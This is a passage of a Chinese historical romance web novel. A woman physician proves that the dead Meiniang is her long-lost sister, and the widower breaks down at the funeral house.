阿致看着他,知道他不是开玩笑的,也知道他有许多铺子,不过她还是摇摇头:“等你回长安城里再说吧。”
不过,既然决定要回去长安城里,那么有许多事就要开始准备起来了。
·
第二日一早,阿致先是坐马车送楚楚去义庄,并与人商定火化的准备;又带着希君去街上买了些回程路上所需。
待得回到院子里,已经是午时。阿致饿得不行,正好门口有人送信来,说是送给于大夫的。
阿致去后院找于大夫。
于大夫坐在院中的池塘边练功,一旁的石桌上放着一本旧书。
阿致一来,他功也不练了,长手一操,操过那本书,揣在怀里宝贝似的。
阿致知道这本书,这是陆昀峥请于大夫过来解毒的好处费。也亏得陆昀峥爱去书斋淘书,因此淘到了这旷世孤本。
她把信递给于大夫:“于大夫,我们三日后上路,你确定要和我们一起走?”
于初禾侧身,接过那封信:“当然,人多也安全些。”
说着,他拆开了那封信,不看不打紧,一看脸色都白了。
这是吓着了?
阿致忙问:“怎么了?出什么事了?”
于初禾胡乱把那信撕了,满院子找地方扔没找到,最后冲到厨房烧了,面红耳赤回来,对阿致道:“我想了想,还是一个人上路比较清净。”
阿致目瞪口呆,不过也表示尊重理解:“那也行,于大夫打算什么时候走,我好帮您安排。”
于初禾大手一挥:“不用。”
说着,一阵风一样,他冲到自己房里,一阵砰砰嗙嗙的过后,他背着简单的行囊,斜挎着一个药箱,胸口鼓鼓囊囊的是那个孤本,站在阿致面前,拿袖子擦汗。
阿致少有见他如此失态。
他嘿嘿笑了下,又一阵风一样,冲去后院牵马,脸上满是得逞的窃笑:“我这就走了。”
看着他仓皇离开的背影,阿致一脸懵:他这是逃跑了吗?
难道刚才这封信里说了什么?
很快,阿致就明白了原因。
·
到傍晚时候,有暗卫带着一个长身女子而来。这女子头顶帷帽,身着白色里衣,黑色外衫,身姿挺拔,仿佛傲骨十足的劲松。
女子优雅地旋身下马,摘下帷帽,露出一张三十多岁久经风霜日晒的脸,她四处打量,最终目光定在阿致身上,问:“就是你要解毒?”
一旁暗卫上前对阿致行礼,介绍这便是侯爷让找的女医,也是于大夫的师姑——叶梦竹。
阿致实情以告:“解过毒了。”
叶梦竹挑眉,显出一丝怒气来:“所以,你们把我叫来,却是叫我白跑一趟。”
阿致叫暗卫去房中取一些银子来。
等待的时候,叶梦竹将马匹系在院门口,自若地走入院子里打量:“我那师侄呢?”
67. 第 67 章
叶梦竹问于大夫去哪里。
阿致道:“今日中午他走了。”
叶梦竹捏紧拳头,锤在墙上:“这个狡猾的狐狸!竟然想要独吞!”
墙上的青苔留下个拳头印子……
阿致忽然意识到,于初禾突然要走,就是因为看了信,得知师姑真的找到了,还赶来了。
只是不知道这姑侄俩有什么恩怨,一个怕得要死,一个气得要死。
这时,暗卫拿来一袋银钱,阿致给叶梦竹作为补偿。
叶梦竹打开袋子,粗略看了一眼,又在手心掂量掂量,翻个白眼:“打发叫花子呢?”
这银子已经不少了,尤其是都没用得着叶梦竹出手。
只是对比于初禾获得的孤本,叶梦竹这一点银子远远比不上。阿致没有多辩解,叫邬春荣又拿了些银子来,推给她热茶喝一口。
叶梦竹不喝,多拿了些钱,仍是有些看不上,撇了撇嘴,但好歹是没有再翻白眼了。
阿致道:“天要黑了,叶大夫不如在这里过一夜再走。”
“不必。”叶梦竹一个转身,健步出门去,取了门口的缰绳,翻身上马,戴上帷帽,一气呵成。
阿致见她如此固执,知道多说无益,于是也转身往院子里去。
叶梦竹叫住她:“你。”
阿致回头,看着她。
叶梦竹别扭地努努嘴,朝着门口的大道:“我那师侄往哪个方向去了?”
这锲而不舍的。
阿致抬手随便指个方向,她其实也不知道。
叶梦竹刚掉转头,被一辆马车拦住。
是楚楚和邬春荣回来了,楚楚身上还穿着白色的孝服。
邬春荣先下车,然后扶着楚楚弯腰下来。
马背上的叶梦竹伸手撩开帷帽的帘子,皱眉看着两人下车,又看着楚楚进到院子里去。
邬春荣则看了一眼叶梦竹,从后门去安置马车。
阿致伸手拉过楚楚的手:“怎的穿了这些袄子也还是凉?”
楚楚摇头,头靠在她身上。
“咵——”
阿致回头看大门口,叶梦竹从马背上下来,脱下了帷帽,礼貌对阿致道:“天色已晚,我先在这里住着。”
·
晚上,陆昀峥回来,阿致便说了于大夫和叶梦竹的事。
陆昀峥失笑。
“怎的了?”阿致问,“为何这于大夫怕师姑怕成这样?你若是知道,快些说。”
她伸手抓他的胳肢窝。
陆昀峥皮糙肉厚的,压根不怕,反手抓回去,抓得阿致缩在他怀里,笑成一团,捶了他胸口一顿,他才住手。
原来,一开始阿致和希君中毒后,陆昀峥请来于初禾,给出的报偿是那孤本的前半部分,如果能救人的话,后半部分也归他。当然,于初禾来了之后才发现,自己也解不了毒,但他舍不得那后半部分,便坦白说自己师姑可以救人,但是若找到师姑解毒,他必须能得到后半部分的手抄。陆昀峥答应了他,并且写信允诺叶梦竹那本传说中的孤本。
后来,阿致的毒解了,寻找叶梦竹的暗卫却一直没有音信。于是,陆昀峥便先把整本书给于初禾看,让他抄。
只是没想到,叶梦竹提前送来的信,让于初禾直接溜之大吉,带着唯一的孤本。而叶梦竹只能无功而返。
“我看叶大夫是打算连夜追击师侄的,不知道为什么,她看到楚楚就不走了。”阿致有点担心。
陆昀峥抱紧她,亲在她额头上:“时间不多,别总是想别人的事情,多看看我。”
阿致踮脚,捧着他的脸颊,亲他的嘴唇,笑着道:“满心满眼都是你。”
·
天还没亮,阿致就起来了。
今日要给美娘火化。
她先是叫邬春荣和厨娘准备早饭,接着去叫楚楚起床。
阿致穿过后院,于大夫那间房里一片漆黑。这间房给了叶梦竹,看来她还没有起床。
阿致推开楚楚的房门,楚楚穿好衣服坐在床沿,被子叠得好好的,叶不知道这丫头睡过了没有。阿致伸手轻轻拂过她的额侧,随即牵着她的手去前厅。
路过后院时,叶梦竹从里面打开门,脸色晦暗不明。
阿致心里一咯噔,牵紧了楚楚的手。
·
这叶大夫十分古怪,且古怪的地方不止一处两处。
吃早饭的时候,叶梦竹特意坐在了楚楚旁边,问她年岁几何,自小在哪里长大的。
楚楚诧异地抬头看她,又转头看着阿致。
叶梦竹忍住翻白眼的冲动,长叹一口气:“没听你吭过一声,这孩子怎么就跟个哑巴似的。”
一旁的楚楚睁大眼睛,鼻头红了。
阿致示意楚楚继续吃饭,转而对叶梦竹道:“叶大夫问这个做什么?”
“随口问问罢了。”
接着便是一片沉默。
终究,叶梦竹忍不住:“这小姑娘为何戴孝?”
阿致道:“自然是家中有人去世了。”
“谁去世了?”
阿致反问:“叶大夫打算什么时候走?”
叶梦竹把筷子放下:“用不着你管。”
“你住在我家里,你说用不用得着我管?”阿致笑着怼回去。
叶梦竹嘴巴嗫嚅半天,道:“我暂时不打算走。”
这……
阿致还没开口,叶梦竹把昨日收的一袋子银子拿出来,摆在桌上:“吃住的钱,够了吧?”
“这……”阿致面露难色。
叶梦竹把另一袋子的银子也掏出来:“这样总行了吧。”
叶梦竹又把空空如也的广袖给她看,真的没有了。
阿致打量她的脸,示意邬春荣把银子收起来:“只能在这里住三天。”
“好。”叶梦竹十分爽快。
吃完早饭,要去义庄,阿致带着楚楚坐马车,邬春荣在前头赶车:“夫人,那叶大夫一直在后面跟着。”
叶梦竹骑马跟在后面,不仅不远。
“先别管她,咱们把该办的事情办了。”
该办的事情是要火化美娘的遗体,由义庄的人帮忙处理,他们只需要在一旁悼念。
问题就是,到了义庄之后,阿致发现叶梦竹握着一把匕首,偷偷撬棺材板呢。
·
阿致大喝:“你做什么?”
叶梦竹浑然不在意,继续咬牙撬棺材板。
阿致立刻叫邬春荣去拦住她。
叶梦竹抽出匕首,对着邬春荣的脖子:“想死?”
邬春荣哪儿敢啊,前些日才死里逃生,这时候赶忙双手捏住自己的脖子,慢慢退后一步。
阿致撸起袖子,拉开架势,和她过招。
这叶梦竹在江湖上行走,自然是有些拳脚功夫的,但她没料到阿致一个夫人,竟然身手如此好,几下就抢了她手中的匕首。
邬春荣趁乱过来,反手剪着叶梦竹的双手:“夫人,接下来怎么办?”
“绑了。”阿致拿着匕首,呼呼喘气,弯腰检查棺材周围的刀痕。说真的,要是以前,她三两下就能解决了。只是前些日她中毒太久,现在身体都只恢复了六七成。
“你听我说。”叶梦竹奋力挣扎,但怎么挣扎得过一个男子呢,她对阿致道,“我有苦衷。”
“什么苦衷?”阿致直起腰来,看着她,看她能编出个什么故事来。
“这棺材里的女子,是我的亲妹妹。”叶梦竹方才已经看过牌位,得知死者是楚楚的母亲,“她的生辰与我被楼烦人掳走的小妹一样。”
阿致沉默地看着她。
叶梦竹因为挣扎,满脸通红,她两眼炯炯地看着阿致:“许多年前我的小妹才六岁时被人掳走,这些年我一直在寻找她,今天,无论如何我都一定要检查里面这个人是不是她,不然我死不瞑目!”
邬春荣有些愕然,他看着阿致。
阿致示意他放手。
叶梦竹整理衣领:“我为了找寻小妹,甚至去过楼烦,听说她又回到了保宁一带,我便在这附近游走,期望有朝一日能找到她。”
“怎么信你?”
叶梦竹从脖子上套出一根红绳挂着的玉玦,这玉玦的边缘是碎裂的口子,她道:“楚楚脖子上挂着的玉玦,和我的能合成一块。”
正好楚楚站在门外偷听,她看到叶梦竹的那半块玉玦,激动地掏出自己脖子上的另一半玉玦。
楚楚主动走过去。
叶梦竹蹲下来,两人手中的玉玦,正好合成了一块。
楚楚握着两块玉佩,眼睛大睁,眼泪滑下来。她对阿致
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打了个手势,这是她娘给的。
这种简单的手势,阿致如今也懂一些了。
不过她还是有些谨慎,她问:“玉佩不能说明什么,你还有什么证据?按你说的,你从小与妹妹失散,你不知她的长相,撬开棺材又有什么用?”
叶梦竹激动起来,手放在自己左边肩膀背后指着:“我小妹,这里,有一块胎记,青色的,巴掌大小。”
楚楚眼睛亮起来,她朝阿致疯狂点头。
关于胎记这一点,阿致还真不知道。美娘的尸身放置在义庄后,擦洗和换贴身衣物,都是楚楚执意自己一个人做的。当时阿致不理解,但也同意了,仅仅帮着楚楚给美娘把寿衣穿上。
阿致问楚楚的意见,是否愿意在火化前打开棺材。
楚楚答应了。对于她来说,失去娘亲,就像是失去温暖巢穴的幼鸟,她希望叶梦竹真是自己的姨妈。
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“我小妹是怎么死的?”叶梦竹打开棺材,看到那过于苍白清灰的面孔,皱起眉头。
“我被楼烦细作围攻的时候,美娘为了保护我,而——负伤失血过多。”阿致喉头哽咽。
叶梦竹紧紧盯着阿致,许久才挪开目光,她翻开美娘腰身上的伤口,看过伤口后,才检查美娘的左边后肩。
美娘的肩膀上确实有一块巴掌大的青色胎记。
叶梦竹说的是真的,美娘真是她失散的小妹,只可惜寻找多年,再见已是天人永隔。
叶梦竹悲从中来,抱着美娘的尸身放声痛哭。
为了避免错过吉时,在义庄的人催过一次后,阿致打断她的哭泣,要将她拉开。
这么一拉扯着,叶梦竹抓到了美娘背后的伤疤。
阿致也看到了,那是触目惊心的伤疤,一条条的,纵横交错。这应该是鞭痕。能留下这种印记,可想而知,美娘是被打得有多狠。
叶梦竹疯狂去检查美娘背后的皮肤,没有一块完好的,手臂上也是。都是在别人看不见的地方。
很难想象美娘曾经经历过什么。在这一刻,阿致终于有些明白,为什么美娘和丈夫江善守的感情已经破裂,还要那般留恋与感激。和地狱相比,江善守对美娘曾经的好,哪怕只有一滴水那么多,美娘也会感恩一辈子,永远不会怨恨。
阿致的视线渐渐模糊。
叶梦竹哭得愈发撕心裂肺,楚楚则沉默着上前,帮美娘把衣裳裹好,盖住那些伤疤,靠在陌生的亲人身边,哀哀哭泣,这是第一次,阿致才知道楚楚是可以发声的,只是那样的破碎。
阿致抹了一把眼泪。
叶梦竹突然站起来,一把擦干眼泪:“我那妹夫呢?他为什么不来,死了吗?”
她目光就像要杀人一样。
阿致问她要做什么。
“我要问问他,这伤都是怎么来的。”
阿致道:“你是大夫,应也能看出来这疤痕都是陈年旧伤,是幼时所受。据我所知,江郎和美娘感情不错。”
她也没有听说过江郎打美娘,美娘那次落入石灰坑,完全是意外。
叶梦竹还是不服气,要去找这个江郎。
阿致叹口气:“他们和离了。”
说曹操,曹操就到。
“楚楚,楚楚——你在哪里?”门外江善宇闯进来,腿软得不行。
他听人说在大街上看到了楚楚,就以为楚楚和美娘都想通了回来了。他便决心往后好好过日子。可是一路追到义庄来,他心中便有了不好的预想。
果然,他还没看到义庄里头的棺材,远远看到穿白孝服的楚楚,一个大男人,立时坐在地上哭起来。他的美娘哎——
这世上,好梦已碎、难圆。
这哭声吸引了不少人远观。
江善守从地上爬起来,脚步踉踉跄跄,就像是醉酒的人。他一步步靠近棺材,靠近叶梦竹怀里的那个穿黑色寿衣的女人,越发看清楚她的身形、发髻,他的步伐越来越小,离着半丈的距离,再也不敢往前一步,轻轻摇头,满脸都是眼泪。
楚楚站起来,看着父亲,父女俩对站着流泪。
江善守彻底疯了,他转身抓住阿致的领口,猩红的眼睛,恶狠狠地抬起拳头:“我让美娘跟着你,你就这样让她——这样了?”
那个“死”字死活说不出口,就像是被喉咙吞了。